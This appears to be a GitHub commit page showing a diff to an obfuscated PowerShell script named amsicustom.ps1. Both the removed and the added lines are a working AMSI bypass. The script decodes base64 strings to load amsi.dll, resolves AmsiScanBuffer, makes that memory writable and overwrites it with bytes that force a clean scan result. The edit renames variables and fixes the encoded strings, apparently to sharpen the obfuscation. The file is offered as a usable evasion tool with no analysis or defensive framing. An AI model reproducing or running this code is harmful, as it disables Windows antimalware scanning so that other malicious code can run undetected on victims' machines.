Update amsicustom.ps1

CZD-MO · Mar 26, 2020 · 82e641d · 82e641d
1 parent ad01daa
commit 82e641d
Showing 1 changed file with 8 additions and 8 deletions.
diff --git a/obfuscatedps/amsicustom.ps1 b/obfuscatedps/amsicustom.ps1
@@ -1,8 +1,8 @@
-${00110110111000000} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))
-Add-Type ${00110110111000000}
-${00010010101100010} = [Win32]::LoadLibrary("a" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bXMK'))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aQAuAGQAbABsAA=='))))
-${00000001111110011} = [Win32]::GetProcAddress(${00010010101100010}, "A" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bXMK'))) + "i" + "S" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('Y2EK'))) + "n" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYA'))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBlAHIA'))))
-${00000100000000100} = 0
-[Win32]::VirtualProtect(${00000001111110011}, [uint32]5, 0x40, [ref]${00000100000000100})
-${00111011010011110} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
-[System.Runtime.InteropServices.Marshal]::Copy(${00111011010011110}, 0, ${00000001111110011}, 6)
+${5} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))
+Add-Type ${5}
+${4} = [Win32]::LoadLibrary("a" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQBzAA=='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aQAuAGQAbABsAA=='))))
+${1} = [Win32]::GetProcAddress(${4}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAA=='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aQBTAGMA'))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBuAA=='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYA'))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBlAHIA'))))
+${3} = 0
+[Win32]::VirtualProtect(${1}, [uint32]5, 0x40, [ref]${3})
+${2} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
+[System.Runtime.InteropServices.Marshal]::Copy(${2}, 0, ${1}, 6)